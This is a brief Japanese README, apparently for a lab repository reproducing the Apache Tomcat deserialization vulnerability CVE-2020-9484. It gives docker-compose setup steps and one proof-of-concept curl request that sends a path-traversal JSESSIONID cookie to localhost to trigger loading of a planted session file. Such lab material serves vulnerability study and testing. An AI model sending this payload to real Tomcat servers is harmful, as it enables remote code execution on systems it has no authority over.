CVE-2020-9484

Apache Tomcat 逆シリアル化の脆弱性 CVE-2020-9484 脆弱なターゲット環境のセットアップ このリポジトリをクローンします docker-compose up -d を実行します これで完了です！ エクスプロイトPOC curl -v 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/cfx' を実行します coldfx という名前のファイルが tmp ディレクトリに作成されます...